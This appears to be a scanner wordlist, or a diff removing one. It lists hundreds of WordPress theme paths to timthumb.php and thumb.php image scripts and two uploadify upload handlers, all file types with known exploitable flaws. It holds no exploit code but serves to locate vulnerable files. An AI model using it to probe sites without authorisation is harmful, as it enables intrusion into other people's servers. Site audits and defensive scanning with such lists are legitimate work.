-$wp-content$/themes/mymag/tools/timthumb.php
-$wp-content$/themes/mypage/scripts/timthumb.php
-$wp-content$/themes/MyProduct/scripts/timthumb.php
-$wp-content$/themes/MyProduct/timthumb.php
-$wp-content$/themes/MyProduct/tools/timthumb.php
-$wp-content$/themes/MyResume/thumb.php
-$wp-content$/themes/MyResume/timthumb.php
-$wp-content$/themes/my/scripts/timthumb.php
-$wp-content$/themes/Mystique/cache/timthumb.php
-$wp-content$/themes/mystique/extensions/auto-thumb/thumb.php
-$wp-content$/themes/mystique/extensions/auto-thumb/timthumb.php
-$wp-content$/themes/Mystique/timthumb.php
-$wp-content$/themes/mystream/functions/thumb.php
-$wp-content$/themes/mystream/scripts/timthumb.php
-$wp-content$/themes/mystream/thumb.php
-$wp-content$/themes/MyStream/thumb.php
-$wp-content$/themes/mystream/timthumb.php
-$wp-content$/themes/mystream/tools/timthumb.php
-$wp-content$/themes/myweblog/functions/thumb.php
-$wp-content$/themes/myweblog/functions/thumb.phpthumb.php
-$wp-content$/themes/myweblog/functions/thumb.phptimthumb.php
-$wp-content$/themes/myweblog/thumb.php
-$wp-content$/themes/nash/theme-assets/php/timthumb.php
-$wp-content$/themes/neofresh/timthumb.php
-$wp-content$/themes/neo_wdl/includes/extensions/thumb.php
-$wp-content$/themes/new/functions/thumb.php
-$wp-content$/themes/new-green-natural-living-ngnl/scripts/timthumb.php
-$wp-content$/themes/newoffer/thumb.php
-$wp-content$/themes/newoffer/timthumb.php
-$wp-content$/themes/newsport/thumb.php
-$wp-content$/themes/newspress/functions/thumb.php
-$wp-content$/themes/newspress/functions/timthumb.php
-$wp-content$/themes/newspress/functions/timthumb.phptimthumb.php
-$wp-content$/themes/newspress/thumb.php
-$wp-content$/themes/newspress/thumb.phpthumb.php
-$wp-content$/themes/newspress/thumb.phptimthumb.php
-$wp-content$/themes/newspress/timthumb.php
-$wp-content$/themes/newspress-v1.2/timthumb.php
-$wp-content$/themes/newsworld-1.0.0/scripts/timthumb.php
-$wp-content$/themes/newsworld-1.0.0/thumb.php
-$wp-content$/themes/newsworld-1.0.0/timthumb.php
-$wp-content$/themes/newsworld-1.0.0/tools/timthumb.php
-$wp-content$/themes/newsworld/custom/thumb.php
-$wp-content$/themes/newsworld/custom/timthumb.php
-$wp-content$/themes/newsworld/framework/includes/thumb.php
-$wp-content$/themes/newsworld/framework/includes/timthumb.php
-$wp-content$/themes/newsworld/framework/thumb/thumb.php
-$wp-content$/themes/newsworld/framework/thumb/timthumb.php
-$wp-content$/themes/newsworld/functions/scripts/thumb.php
-$wp-content$/themes/newsworld/functions/scripts/timthumb.php
-$wp-content$/themes/newsworld/functions/thumb.php
-$wp-content$/themes/newsworld/functions/thumb/thumb.php
-$wp-content$/themes/newsworld/functions/timthumb.php
-$wp-content$/themes/newsworld/functions/timthumb/timthumb.php
-$wp-content$/themes/newsworld/images/thumb.php
-$wp-content$/themes/newsworld/images/timthumb.php
-$wp-content$/themes/newsworld/includes/thumb.php
-$wp-content$/themes/newsworld/includes/thumb/thumb.php
-$wp-content$/themes/newsworld/includes/thumb/timthumb.php
-$wp-content$/themes/newsworld/includes/timthumb.php
-$wp-content$/themes/newsworld/includes/timthumb/timthumb.php
-$wp-content$/themes/newsworld/inc/thumb.php
-$wp-content$/themes/newsworld/inc/timthumb.php
-$wp-content$/themes/newsworld/js/thumb.php
-$wp-content$/themes/newsworld/js/timthumb.php
-$wp-content$/themes/newsworld/layouts/thumb.php
-$wp-content$/themes/newsworld/layouts/timthumb.php
-$wp-content$/themes/newsworld/lib/custom/thumb.php
-$wp-content$/themes/newsworld/lib/custom/timthumb.php
-$wp-content$/themes/newsworld/library/functions/thumb.php
-$wp-content$/themes/newsworld/library/functions/timthumb.php
-$wp-content$/themes/newsworld/library/resource/thumb.php
-$wp-content$/themes/newsworld/library/resource/timthumb.php
-$wp-content$/themes/newsworld/library/thumb.php
-$wp-content$/themes/newsworld/library/thumb/thumb.php
-$wp-content$/themes/newsworld/library/thumb/timthumb.php
-$wp-content$/themes/newsworld/library/timthumb.php
-$wp-content$/themes/newsworld/library/timthumb/timthumb.php
-$wp-content$/themes/newsworld/lib/script/thumb.php
-$wp-content$/themes/newsworld/lib/script/timthumb.php
-$wp-content$/themes/newsworld/lib/thumb.php
-$wp-content$/themes/newsworld/lib/thumb/thumb.php
-$wp-content$/themes/newsworld/lib/thumb/timthumb.php
-$wp-content$/themes/newsworld/lib/timthumb.php
-$wp-content$/themes/newsworld/lib/timthumb/timthumb.php
-$wp-content$/themes/newsworld/modules/thumb.php
-$wp-content$/themes/newsworld/modules/timthumb.php
-$wp-content$/themes/newsworld/options/thumb.php
-$wp-content$/themes/newsworld/options/timthumb.php
-$wp-content$/themes/newsworld/scripts/thumb.php
-$wp-content$/themes/newsworld/scripts/thumb/thumb.php
-$wp-content$/themes/newsworld/scripts/thumb/timthumb.php
-$wp-content$/themes/newsworld/scripts/timthumb.php
-$wp-content$/themes/newsworld/scripts/timthumb/timthumb.php
-$wp-content$/themes/newsworld//thumb.php
-$wp-content$/themes/newsworld/thumb.php
-$wp-content$/themes/newsworld/thumb/thumb.php
-$wp-content$/themes/newsworld/thumb/timthumb.php
-$wp-content$/themes/newsworld//timthumb.php
-$wp-content$/themes/newsworld/timthumb.php
-$wp-content$/themes/newsworld/timthumb/timthumb.php
-$wp-content$/themes/newsworld/tools/thumb.php
-$wp-content$/themes/newsworld/tools/thumb/thumb.php
-$wp-content$/themes/newsworld/tools/thumb/timthumb.php
-$wp-content$/themes/newsworld/tools/timthumb.php
-$wp-content$/themes/newsworld/tools/timthumb/timthumb.php
-$wp-content$/themes/newswp/scripts/timthumb.php
-$wp-content$/themes/newwind/thumb.php
-$wp-content$/themes/nomadic/scripts/timthumb.php
-$wp-content$/themes/nomadic/timthumb.php
-$wp-content$/themes/nomadic/tools/timthumb.php
-$wp-content$/themes/nool/thumb.php
-$wp-content$/themes/nool/timthumb.php
-$wp-content$/themes/Nova/cache/timthumb.php
-$wp-content$/themes/Nova/functions/timthumb.php
-$wp-content$/themes/Nova/scripts/thumb.php
-$wp-content$/themes/Nova/scripts/timthumb.php
-$wp-content$/themes/Nova/temp/timthumb.php
-$wp-content$/themes/Nova/thumb.php
-$wp-content$/themes/nova/timthumb.php
-$wp-content$/themes/Nova/timthumb.php
-$wp-content$/themes/Nova/timthumb.phpthumb.php
-$wp-content$/themes/Nova/timthumb.phptimthumb.php
-$wp-content$/themes/Nova/tools/timthumb.php
-$wp-content$/themes/Nyke/thumb.php
-$wp-content$/themes/Nyke/timthumb.php
-$wp-content$/themes/object/functions/thumb.php
-$wp-content$/themes/object/object/thumb.php
-$wp-content$/themes/object/scripts/timthumb.php
-$wp-content$/themes/object/thumb.php
-$wp-content$/themes/object/timthumb.php
-$wp-content$/themes/object/tools/timthumb.php
-$wp-content$/themes/omni-shop/thumb.php
-$wp-content$/themes/omni-shop/timthumb.php
-$wp-content$/themes/onthego/scripts/timthumb.php
-$wp-content$/themes/OnTheGo/scripts/timthumb.php
-$wp-content$/themes/OnTheGo/thumb.php
-$wp-content$/themes/onthego/timthumb.php
-$wp-content$/themes/OnTheGo/timthumb.php
-$wp-content$/themes/OnTheGo/tools/timthumb.php
-$wp-content$/themes/openair/scripts/timthumb.php
-$wp-content$/themes/openair/timthumb.php
-$wp-content$/themes/openair/tools/timthumb.php
-$wp-content$/themes/Openhouse_Multilingual/scripts/timthumb.php
-$wp-content$/themes/optimize/functions/thumb.php
-$wp-content$/themes/optimize/inc/thumb.php
-$wp-content$/themes/optimize/optimize/thumb.php
-$wp-content$/themes/OptimizePress1.45/timthumb.php
-$wp-content$/themes/OptimizePress/cache/timthumb.php
-$wp-content$/themes/optimizepress/scripts/timthumb.php
-$wp-content$/themes/OptimizePress/scripts/timthumb.php
-$wp-content$/themes/OptimizePress/thumb.php
-$wp-content$/themes/Optimizepress/timthumb.php
-$wp-content$/themes/OptimizePress//timthumb.php
-$wp-content$/themes/OptimizePress/timthumb.php
-$wp-content$/themes/OptimizePress/timthumb.phpthumb.php
-$wp-content$/themes/OptimizePress/timthumb.phptimthumb.php
-$wp-content$/themes/OptimizePress/tools/timthumb.php
-$wp-content$/themes/optimize/thumb.php
-$wp-content$/themes/optimize/tools/timthumb.php
-$wp-content$/themes/overeasy/scripts/timthumb.php
-$wp-content$/themes/overeasy/timthumb.php
-$wp-content$/themes/overeasy/tools/timthumb.php
-$wp-content$/themes/ovid/timthumb.php
-$wp-content$/themes/pbv_multi/scripts/thumb.php
-$wp-content$/themes/pbv_multi/scripts/timthumb.php
-$wp-content$/themes/pearlie/scripts/thumb.php
-$wp-content$/themes/pearlie/scripts/timthumb.php
-$wp-content$/themes/personality/timthumb.php
-$wp-content$/themes/PersonalPress2/thumb.php
-$wp-content$/themes/personalpress2/timthumb.php
-$wp-content$/themes/PersonalPress2/timthumb.php
-$wp-content$/themes/PersonalPress/scripts/timthumb.php
-$wp-content$/themes/PersonalPress/thumb.php
-$wp-content$/themes/PersonalPress/timthumb.php
-$wp-content$/themes/PersonalPress/timthumb.phpthumb.php
-$wp-content$/themes/PersonalPress/timthumb.phptimthumb.php
-$wp-content$/themes/PersonalPress/tools/timthumb.php
-$wp-content$/themes/photofeature/scripts/thumb.php
-$wp-content$/themes/photofeature/scripts/timthumb.php
-$wp-content$/themes/photofeature/scripts/timthumb.phptimthumb.php
-$wp-content$/themes/photofeature/timthumb.php
-$wp-content$/themes/photoria/scripts/timthumb.php
-$wp-content$/themes/Photoria/scripts/timthumb.php
-$wp-content$/themes/photoria/timthumb.php
-$wp-content$/themes/Photoria/timthumb.php
-$wp-content$/themes/pico/scripts/timthumb.php
-$wp-content$/themes/placeholder/functions/thumb.php
-$wp-content$/themes/Polished/scripts/timthumb.php
-$wp-content$/themes/Polished/thumb.php
-$wp-content$/themes/polished/timthumb.php
-$wp-content$/themes/Polished/timthumb.php
-$wp-content$/themes/Polished/tools/timthumb.php
-$wp-content$/themes/postage-sydney/includes/timthumb.php
-$wp-content$/themes/postcard/functions/thumb.php
-$wp-content$/themes/postcard/scripts/timthumb.php
-$wp-content$/themes/postcard/thumb.php
-$wp-content$/themes/postcard/timthumb.php
-$wp-content$/themes/postcard/tools/timthumb.php
-$wp-content$/themes/premiumnews/cache/timthumb.php
-$wp-content$/themes/premiumnews/custom/thumb.php
-$wp-content$/themes/premiumnews/custom/timthumb.php
-$wp-content$/themes/premiumnews/framework/includes/thumb.php
-$wp-content$/themes/premiumnews/framework/includes/timthumb.php
-$wp-content$/themes/premiumnews/framework/thumb/thumb.php
-$wp-content$/themes/premiumnews/framework/thumb/timthumb.php
-$wp-content$/themes/premiumnews/functions/scripts/thumb.php
-$wp-content$/themes/premiumnews/functions/scripts/timthumb.php
-$wp-content$/themes/premiumnews/functions/thumb.php
-$wp-content$/themes/premiumnews/functions/thumb.phptimthumb.php
-$wp-content$/themes/premiumnews/functions/thumb/thumb.php
-$wp-content$/themes/premiumnews/functions/timthumb.php
-$wp-content$/themes/premiumnews/functions/timthumb/timthumb.php
-$wp-content$/themes/premiumnews/images/thumb.php
-$wp-content$/themes/premiumnews/images/timthumb.php
-$wp-content$/themes/premiumnews/includes/thumb.php
-$wp-content$/themes/premiumnews/includes/thumb/thumb.php
-$wp-content$/themes/premiumnews/includes/thumb/timthumb.php
-$wp-content$/themes/premiumnews/includes/timthumb.php
-$wp-content$/themes/premiumnews/includes/timthumb/timthumb.php
-$wp-content$/themes/premiumnews/inc/thumb.php
-$wp-content$/themes/premiumnews/inc/timthumb.php
-$wp-content$/themes/premiumnews/js/thumb.php
-$wp-content$/themes/premiumnews/js/timthumb.php
-$wp-content$/themes/premiumnews/layouts/thumb.php
-$wp-content$/themes/premiumnews/layouts/timthumb.php
-$wp-content$/themes/premiumnews/lib/custom/thumb.php
-$wp-content$/themes/premiumnews/lib/custom/timthumb.php
-$wp-content$/themes/premiumnews/library/functions/thumb.php
-$wp-content$/themes/premiumnews/library/functions/timthumb.php
-$wp-content$/themes/premiumnews/library/resource/thumb.php
-$wp-content$/themes/premiumnews/library/resource/timthumb.php
-$wp-content$/themes/premiumnews/library/thumb.php
-$wp-content$/themes/premiumnews/library/thumb/thumb.php
-$wp-content$/themes/premiumnews/library/thumb/timthumb.php
-$wp-content$/themes/premiumnews/library/timthumb.php
-$wp-content$/themes/premiumnews/library/timthumb/timthumb.php
-$wp-content$/themes/premiumnews/lib/script/thumb.php
-$wp-content$/themes/premiumnews/lib/script/timthumb.php
-$wp-content$/themes/premiumnews/lib/thumb.php
-$wp-content$/themes/premiumnews/lib/thumb/thumb.php
-$wp-content$/themes/premiumnews/lib/thumb/timthumb.php
-$wp-content$/themes/premiumnews/lib/timthumb.php
-$wp-content$/themes/premiumnews/lib/timthumb/timthumb.php
-$wp-content$/themes/premiumnews/modules/thumb.php
-$wp-content$/themes/premiumnews/modules/timthumb.php
-$wp-content$/themes/premiumnews/options/thumb.php
-$wp-content$/themes/premiumnews/options/timthumb.php
-$wp-content$/themes/premiumnews/scripts/thumb.php
-$wp-content$/themes/premiumnews/scripts/thumb/thumb.php
-$wp-content$/themes/premiumnews/scripts/thumb/timthumb.php
-$wp-content$/themes/premiumnews/scripts/timthumb.php
-$wp-content$/themes/premiumnews/scripts/timthumb/timthumb.php
-$wp-content$/themes/premiumnews//thumb.php
-$wp-content$/themes/premiumnews/thumb.php
-$wp-content$/themes/premiumnews/thumb.phptimthumb.php
-$wp-content$/themes/premiumnews/thumb/thumb.php
-$wp-content$/themes/premiumnews/thumb/timthumb.php
-$wp-content$/themes/premiumnews//timthumb.php
-$wp-content$/themes/premiumnews/timthumb.php
-$wp-content$/themes/premiumnews/timthumb.phptimthumb.php
-$wp-content$/themes/premiumnews/timthumb/timthumb.php
-$wp-content$/themes/premiumnews/tools/thumb.php
-$wp-content$/themes/premiumnews/tools/thumb/thumb.php
-$wp-content$/themes/premiumnews/tools/thumb/timthumb.php
-$wp-content$/themes/premiumnews/tools/timthumb.php
-$wp-content$/themes/premiumnews/tools/timthumb/timthumb.php
-$wp-content$/themes/premium-violet/thumb.php
-$wp-content$/themes/primely/scripts/timthumb.php
-$wp-content$/themes/primely-theme/scripts/timthumb.php
-$wp-content$/themes/primely-wordpress/primely-theme/scripts/timthumb.php
-$wp-content$/themes/probluezine/timthumb.php
-$wp-content$/themes/profitstheme_11/scripts/timthumb.php
-$wp-content$/themes/profitstheme_11/thumb.php
-$wp-content$/themes/profitstheme_11/timthumb.php
-$wp-content$/themes/profitstheme_11/tools/timthumb.php
-$wp-content$/themes/profitstheme/scripts/timthumb.php
-$wp-content$/themes/profitstheme/thumb.php
-$wp-content$/themes/profitstheme/timthumb.php
-$wp-content$/themes/profitstheme/tools/timthumb.php
-$wp-content$/themes/pronto/cjl/pronto/uploadify/check.php
-$wp-content$/themes/pronto/cjl/pronto/uploadify/uploadify.php
-$wp-content$/themes/pronto/timthumb.php
-$wp-content$/themes/prosto/functions/thumb.php
-$wp-content$/themes/prosto/functions/thumb.phptimthumb.php
-$wp-content$/themes/proudfolio/functions/thumb.php
-$wp-content$/themes/proudfolio/thumb.php
-$wp-content$/themes/PureType/scripts/timthumb.php
-$wp-content$/themes/PureType/scripts/timthumb.phpthumb.php
-$wp-content$/themes/PureType/scripts/timthumb.phptimthumb.php
-$wp-content$/themes/PureType/timthumb.php
-$wp-content$/themes/PureType/tools/timthumb.php
-$wp-content$/themes/purevision/custom/thumb.php
-$wp-content$/themes/purevision/custom/timthumb.php
-$wp-content$/themes/purevision/framework/includes/thumb.php
-$wp-content$/themes/purevision/framework/includes/timthumb.php
-$wp-content$/themes/purevision/framework/thumb/thumb.php
-$wp-content$/themes/purevision/framework/thumb/timthumb.php
-$wp-content$/themes/purevision/functions/scripts/thumb.php
-$wp-content$/themes/purevision/functions/scripts/timthumb.php
-$wp-content$/themes/purevision/functions/thumb.php
-$wp-content$/themes/purevision/functions/thumb/thumb.php
-$wp-content$/themes/purevision/functions/timthumb.php
-$wp-content$/themes/purevision/functions/timthumb/timthumb.php
-$wp-content$/themes/purevision/images/thumb.php
-$wp-content$/themes/purevision/images/timthumb.php
-$wp-content$/themes/purevision/includes/thumb.php
-$wp-content$/themes/purevision/includes/thumb/thumb.php
-$wp-content$/themes/purevision/includes/thumb/timthumb.php
-$wp-content$/themes/purevision/includes/timthumb.php
-$wp-content$/themes/purevision/includes/timthumb/timthumb.php
-$wp-content$/themes/purevision/inc/thumb.php
-$wp-content$/themes/purevision/inc/timthumb.php
-$wp-content$/themes/purevision/js/thumb.php
-$wp-content$/themes/purevision/js/timthumb.php
-$wp-content$/themes/purevision/layouts/thumb.php
-$wp-content$/themes/purevision/layouts/timthumb.php
-$wp-content$/themes/purevision/lib/custom/thumb.php
-$wp-content$/themes/purevision/lib/custom/timthumb.php
-$wp-content$/themes/purevision/library/functions/thumb.php
-$wp-content$/themes/purevision/library/functions/timthumb.php
-$wp-content$/themes/purevision/library/resource/thumb.php
-$wp-content$/themes/purevision/library/resource/timthumb.php
-$wp-content$/themes/purevision/library/thumb.php
-$wp-content$/themes/purevision/library/thumb/thumb.php
-$wp-content$/themes/purevision/library/thumb/timthumb.php
-$wp-content$/themes/purevision/library/timthumb.php
-$wp-content$/themes/purevision/library/timthumb/timthumb.php
-$wp-content$/themes/purevision/lib/script/thumb.php
-$wp-content$/themes/purevision/lib/script/timthumb.php
-$wp-content$/themes/purevision/lib/thumb.php
-$wp-content$/themes/purevision/lib/thumb/thumb.php
-$wp-content$/themes/purevision/lib/thumb/timthumb.php
-$wp-content$/themes/purevision/lib/timthumb.php
-$wp-content$/themes/purevision/lib/timthumb/timthumb.php
-$wp-content$/themes/purevision/modules/thumb.php
-$wp-content$/themes/purevision/modules/timthumb.php
-$wp-content$/themes/purevision/options/thumb.php
-$wp-content$/themes/purevision/options/timthumb.php
-$wp-content$/themes/purevision/scripts/thumb.php
-$wp-content$/themes/purevision/scripts/thumb/thumb.php
-$wp-content$/themes/purevision/scripts/thumb/timthumb.php
-$wp-content$/themes/purevision/scripts/timthumb.php
-$wp-content$/themes/purevision/scripts/timthumb/timthumb.php
-$wp-content$/themes/purevision//thumb.php
-$wp-content$/themes/purevision/thumb/thumb.php
-$wp-content$/themes/purevision/thumb/timthumb.php
-$wp-content$/themes/purevision//timthumb.php
-$wp-content$/themes/purevision/timthumb/timthumb.php
-$wp-content$/themes/purevision/tools/thumb.php
-$wp-content$/themes/purevision/tools/thumb/thumb.php
-$wp-content$/themes/purevision/tools/thumb/timthumb.php
-$wp-content$/themes/purevision/tools/timthumb.php
-$wp-content$/themes/purevision/tools/timthumb/timthumb.php
-$wp-content$/themes/Quadro/scripts/timthumb.php
-$wp-content$/themes/Quadro/thumb.php
-$wp-content$/themes/Quadro/timthumb.php
-$wp-content$/themes/Quadro/tools/timthumb.php
-$wp-content$/themes/r755/thumb.php
-$wp-content$/themes/realtorpress/thumbs/_tbs.phpthumb.php
-$wp-content$/themes/realtorpress/thumbs/_tbs.phptimthumb.php
-$wp-content$/themes/redcarpet/scripts/timthumb.php
-$wp-content$/themes/redcarpet/thumb.php
-$wp-content$/themes/redcarpet/timthumb.php
-$wp-content$/themes/redcarpet/tools/timthumb.php
-$wp-content$/themes/regal/timthumb.php
-$wp-content$/themes/retreat/scripts/timthumb.php
-$wp-content$/themes/retreat/thumb.php
-$wp-content$/themes/retreat/timthumb.php
-$wp-content$/themes/reviewit/lib/scripts/timthumb.php
-$wp-content$/themes/rockstar/rockstar/thumb.php
-$wp-content$/themes/rockstar/thumb.php
-$wp-content$/themes/royalle/scripts/timthumb.php
-$wp-content$/themes/royalle/thumb.php
-$wp-content$/themes/royalle/timthumb.php
-$wp-content$/themes/rt_panacea_wp/thumb.php
-$wp-content$/themes/rttheme13/thumb.php
-$wp-content$/themes/rttheme13/timthumb.php
-$wp-content$/themes/sakura/plugins/woo-tumblog/functions/thumb.php
-$wp-content$/themes/sakura/plugins/woo-tumblog/functions/thumb.phptimthumb.php
-$wp-content$/themes/sakura/plugins/woo-tumblog/functions/timthumb.php
-$wp-content$/themes/sakura/plugins/woo-tumblog/thumb.php
-$wp-content$/themes/sakura/pluguins/woo-tumblog/timthumb.php
-$wp-content$/themes/sakura/woo-tumblog/functions/thumb.php
-$wp-content$/themes/savinggrace/functions/thumb.php
-$wp-content$/themes/savinggrace/thumb.php
-$wp-content$/themes/scripts/magazinum/timthumb.php
-$wp-content$/themes/sealight/custom/thumb.php
-$wp-content$/themes/sealight/custom/timthumb.php
-$wp-content$/themes/sealight/framework/includes/thumb.php
-$wp-content$/themes/sealight/framework/includes/timthumb.php
-$wp-content$/themes/sealight/framework/thumb/thumb.php
-$wp-content$/themes/sealight/framework/thumb/timthumb.php
-$wp-content$/themes/sealight/functions/scripts/thumb.php
-$wp-content$/themes/sealight/functions/scripts/timthumb.php
-$wp-content$/themes/sealight/functions/thumb.php
-$wp-content$/themes/sealight/functions/thumb/thumb.php
-$wp-content$/themes/sealight/functions/timthumb.php
-$wp-content$/themes/sealight/functions/timthumb/timthumb.php
-$wp-content$/themes/sealight/images/thumb.php
-$wp-content$/themes/sealight/images/timthumb.php
-$wp-content$/themes/sealight/includes/thumb.php
-$wp-content$/themes/sealight/includes/thumb/thumb.php
-$wp-content$/themes/sealight/includes/thumb/timthumb.php
-$wp-content$/themes/sealight/includes/timthumb.php
-$wp-content$/themes/sealight/includes/timthumb/timthumb.php
-$wp-content$/themes/sealight/inc/thumb.php
-$wp-content$/themes/sealight/inc/timthumb.php
-$wp-content$/themes/sealight/js/thumb.php
-$wp-content$/themes/sealight/js/timthumb.php
-$wp-content$/themes/sealight/layouts/thumb.php
-$wp-content$/themes/sealight/layouts/timthumb.php
-$wp-content$/themes/sealight/lib/custom/thumb.php
-$wp-content$/themes/sealight/lib/custom/timthumb.php
-$wp-content$/themes/sealight/library/functions/thumb.php
-$wp-content$/themes/sealight/library/functions/timthumb.php
-$wp-content$/themes/sealight/library/resource/thumb.php
-$wp-content$/themes/sealight/library/resource/timthumb.php
-$wp-content$/themes/sealight/library/thumb.php
-$wp-content$/themes/sealight/library/thumb/thumb.php
-$wp-content$/themes/sealight/library/thumb/timthumb.php
-$wp-content$/themes/sealight/library/timthumb.php
-$wp-content$/themes/sealight/library/timthumb/timthumb.php
-$wp-content$/themes/sealight/lib/script/thumb.php
-$wp-content$/themes/sealight/lib/script/timthumb.php
-$wp-content$/themes/sealight/lib/thumb.php
-$wp-content$/themes/sealight/lib/thumb/thumb.php
-$wp-content$/themes/sealight/lib/thumb/timthumb.php
-$wp-content$/themes/sealight/lib/timthumb.php
-$wp-content$/themes/sealight/lib/timthumb/timthumb.php
-$wp-content$/themes/sealight/modules/thumb.php
-$wp-content$/themes/sealight/modules/timthumb.php
-$wp-content$/themes/sealight/options/thumb.php
-$wp-content$/themes/sealight/options/timthumb.php
-$wp-content$/themes/sealight/scripts/thumb.php
-$wp-content$/themes/sealight/scripts/thumb/thumb.php
-$wp-content$/themes/sealight/scripts/thumb/timthumb.php
-$wp-content$/themes/sealight/scripts/timthumb.php
-$wp-content$/themes/sealight/scripts/timthumb/timthumb.php
-$wp-content$/themes/sealight//thumb.php
-$wp-content$/themes/sealight/thumb.php
-$wp-content$/themes/sealight/thumb/thumb.php
-$wp-content$/themes/sealight/thumb/timthumb.php
-$wp-content$/themes/sealight//timthumb.php
-$wp-content$/themes/sealight/timthumb.php
-$wp-content$/themes/sealight/timthumb/timthumb.php
-$wp-content$/themes/sealight/tools/thumb.php
-$wp-content$/themes/sealight/tools/thumb/thumb.php
-$wp-content$/themes/sealight/tools/thumb/timthumb.php
-$wp-content$/themes/sealight/tools/timthumb.php
-$wp-content$/themes/sealight/tools/timthumb/timthumb.php
-$wp-content$/themes/shaan/timthumb.php
-$wp-content$/themes/shadow-block/thumb.php
-$wp-content$/themes/shadow/timthumb.php
-$wp-content$/themes/showfolio/thumb.php
-$wp-content$/themes/showfolio/timthumb.php
-$wp-content$/themes/showtime/scripts/timthumb.php
-$wp-content$/themes/simple-but-great/timthumb.php
-$wp-content$/themes/simplenews_premium/scripts/timthumb.php
-$wp-content$/themes/SimplePress/custom/thumb.php
-$wp-content$/themes/SimplePress/custom/timthumb.php
-$wp-content$/themes/SimplePress/framework/includes/thumb.php
-$wp-content$/themes/SimplePress/framework/includes/timthumb.php
-$wp-content$/themes/SimplePress/framework/thumb/thumb.php
-$wp-content$/themes/SimplePress/framework/thumb/timthumb.php
-$wp-content$/themes/SimplePress/functions/scripts/thumb.php
-$wp-content$/themes/SimplePress/functions/scripts/timthumb.php
-$wp-content$/themes/SimplePress/functions/thumb.php
-$wp-content$/themes/SimplePress/functions/thumb/thumb.php
-$wp-content$/themes/SimplePress/functions/timthumb.php
-$wp-content$/themes/SimplePress/functions/timthumb/timthumb.php
-$wp-content$/themes/SimplePress/images/thumb.php
-$wp-content$/themes/SimplePress/images/timthumb.php
-$wp-content$/themes/SimplePress/includes/thumb.php
-$wp-content$/themes/SimplePress/includes/thumb/thumb.php
-$wp-content$/themes/SimplePress/includes/thumb/timthumb.php
-$wp-content$/themes/SimplePress/includes/timthumb.php
-$wp-content$/themes/SimplePress/includes/timthumb/timthumb.php
-$wp-content$/themes/SimplePress/inc/thumb.php
-$wp-content$/themes/SimplePress/inc/timthumb.php
-$wp-content$/themes/SimplePress/js/thumb.php
-$wp-content$/themes/SimplePress/js/timthumb.php
-$wp-content$/themes/SimplePress/layouts/thumb.php
-$wp-content$/themes/SimplePress/layouts/timthumb.php
-$wp-content$/themes/SimplePress/lib/custom/thumb.php
-$wp-content$/themes/SimplePress/lib/custom/timthumb.php
-$wp-content$/themes/SimplePress/library/functions/thumb.php
-$wp-content$/themes/SimplePress/library/functions/timthumb.php
-$wp-content$/themes/SimplePress/library/resource/thumb.php
-$wp-content$/themes/SimplePress/library/resource/timthumb.php
-$wp-content$/themes/SimplePress/library/thumb.php
-$wp-content$/themes/SimplePress/library/thumb/thumb.php
-$wp-content$/themes/SimplePress/library/thumb/timthumb.php
-$wp-content$/themes/SimplePress/library/timthumb.php
-$wp-content$/themes/SimplePress/library/timthumb/timthumb.php
-$wp-content$/themes/SimplePress/lib/script/thumb.php
-$wp-content$/themes/SimplePress/lib/script/timthumb.php
-$wp-content$/themes/SimplePress/lib/thumb.php
-$wp-content$/themes/SimplePress/lib/thumb/thumb.php
-$wp-content$/themes/SimplePress/lib/thumb/timthumb.php
-$wp-content$/themes/SimplePress/lib/timthumb.php
-$wp-content$/themes/SimplePress/lib/timthumb/timthumb.php
-$wp-content$/themes/SimplePress/modules/thumb.php
-$wp-content$/themes/SimplePress/modules/timthumb.php
-$wp-content$/themes/SimplePress/options/thumb.php
-$wp-content$/themes/SimplePress/options/timthumb.php
-$wp-content$/themes/SimplePress/scripts/thumb.php
-$wp-content$/themes/SimplePress/scripts/thumb/thumb.php
-$wp-content$/themes/SimplePress/scripts/thumb/timthumb.php
-$wp-content$/themes/SimplePress/scripts/timthumb.php
-$wp-content$/themes/SimplePress/scripts/timthumb/timthumb.php
-$wp-content$/themes/simplepress/SimplePress/timthumb.php
-$wp-content$/themes/SimplePress//thumb.php
-$wp-content$/themes/SimplePress/thumb.php
-$wp-content$/themes/SimplePress/thumb/thumb.php
-$wp-content$/themes/SimplePress/thumb/timthumb.php
-$wp-content$/themes/simplepress/timthumb.php
-$wp-content$/themes/SimplePress//timthumb.php
-$wp-content$/themes/SimplePress/timthumb.php
-$wp-content$/themes/SimplePress/timthumb.phptimthumb.php
-$wp-content$/themes/SimplePress/timthumb/timthumb.php
-$wp-content$/themes/SimplePress/tools/thumb.php
-$wp-content$/themes/SimplePress/tools/thumb/thumb.php
-$wp-content$/themes/SimplePress/tools/thumb/timthumb.php
-$wp-content$/themes/SimplePress/tools/timthumb.php
-$wp-content$/themes/SimplePress/tools/timthumb/timthumb.php
-$wp-content$/themes/simple-red-theme/timthumb.php
-$wp-content$/themes/simple-tabloid/thumb.php
-$wp-content$/themes/simplewhite/timthumb.php
-$wp-content$/themes/SimplismTheme/Theme/Simplism/timthumb.php
-$wp-content$/themes/Simplism/thumb.php
-$wp-content$/themes/Simplism/timthumb.php
-$wp-content$/themes/simplix/timthumb.php
-$wp-content$/themes/SimplyBiz/includes/thumb.php
-$wp-content$/themes/simplybiz/timthumb.php
-$wp-content$/themes/skeptical/functions/thumb.php
-$wp-content$/themes/skeptical/scripts/timthumb.php
-$wp-content$/themes/skeptical/thumb.php
-$wp-content$/themes/Skeptical/thumb.php
-$wp-content$/themes/skeptical/timthumb.php
-$wp-content$/themes/skeptical/tools/timthumb.php
-$wp-content$/themes/slanted/cache/timthumb.php
-$wp-content$/themes/slanted/scripts/timthumb.php
-$wp-content$/themes/slanted/thumb.php
-$wp-content$/themes/slanted/timthumb.php
-$wp-content$/themes/slide/lib/scripts/timthumb.php
-$wp-content$/themes/slidette/timThumb/timthumb.php
-$wp-content$/themes/snapshot/functions/thumb.php
-$wp-content$/themes/snapshot/thumb.php
-$wp-content$/themes/snapshot/timthumb.php
-$wp-content$/themes/snapshot/tools/timthumb.php
-$wp-content$/themes/snapwire/thumb.php
-$wp-content$/themes/snapwire/timthumb.php
-$wp-content$/themes/Snapwire/timthumb.php
-$wp-content$/themes/snowblind_colbert/thumb.php
-$wp-content$/themes/snowblind/thumb.php
-$wp-content$/themes/sophisticatedfolio/functions/thumb.php
-$wp-content$/themes/sophisticatedfolio/scripts/timthumb.php
-$wp-content$/themes/sophisticatedfolio/thumb.php
-$wp-content$/themes/sophisticatedfolio/timthumb.php
-$wp-content$/themes/spectrum/functions/thumb.php
-$wp-content$/themes/spectrum/thumb.php
-$wp-content$/themes/spectrum/timthumb.php
-$wp-content$/themes/spectrum/tools/timthumb.php
